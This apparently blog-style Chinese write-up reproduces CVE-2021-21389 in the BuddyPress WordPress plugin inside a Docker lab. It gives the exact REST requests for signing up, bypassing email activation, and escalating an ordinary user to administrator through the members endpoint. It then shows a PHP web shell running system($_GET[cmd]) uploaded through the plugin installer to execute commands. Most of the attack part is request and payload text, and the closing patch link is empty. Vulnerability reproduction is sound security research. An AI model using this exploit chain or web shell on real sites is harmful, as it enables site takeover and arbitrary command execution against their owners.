一、漏洞描述
BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。该漏洞已在 BuddyPress 7.2.1 中修复。插件的现有安装应更新到此版本以缓解问题
二、影响版本
5.0.0 <BuddyPress< 7.2.1
三、漏洞环境
1、dockerhub拉镜像,docker pull hoangkien1020/buddypress:cve202121389
2、启动环境,docker run -p 80:80 -d hoangkien1020/buddypress:cve202121389
四、漏洞复现
1、构造发包:POST /wp-json/buddypress/v1/signup
{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}
2、将注册时的activation_key取出来,构造发包PUT //wp-json/buddypress/v1/signup/activate/cPyemIPO4HhzOaPpJtA9oG1MUlxULeiM,以绕过邮箱验证
3、新建分组,填完Details后,然后settings默认点击下一步,然后重新进入groups,已经创建成功。
4、点开group1134进入manage下面的members,点击Ban,然后抓包,获取到有效的Cookie和X-WP-Nonce,然后构造发包POST /wp-json/buddypress/v1/members/me,替换掉里面的Cookie和X-WP-Nonce,然后获取administrator角色的权限
{"roles": "administrator"}
![](https://i-blog.csdnimg.cn/blog_migrate/4a39752b9ffe8fd81b154aa393f0c347.png)
刷新页面后,我们已经获取到administrator角色的权限可以查看和操作所有模块,我们通过更新plugins,上传木马
选择文件时,选择所有文件,保险起见选择啦.png格式的小马(后测试发现可以直接上传.php文件),测试一下选择上传后,抓包修改,修改为.php模式,
Content-Disposition: form-data; name="pluginzip"; filename="c.php"
Content-Type: text/php
<?php
system($_GET[cmd]);
?>
![](https://i-blog.csdnimg.cn/blog_migrate/0a1d14c49a17a0f522256390f9476b0c.png)
上传成功后,status显示为200,但是显示不可更新,我们从/wp-content/uploads/2022/05/(上传的年月)路径下获取已经上传的木马文件,成功执行命令
![](https://i-blog.csdnimg.cn/blog_migrate/3c9dceccd4402c0fe4816e94d70f7c64.png)
五、更新建议
目前厂商已发布升级补丁以修复漏洞或直接更新到最新版本,补丁获取链接: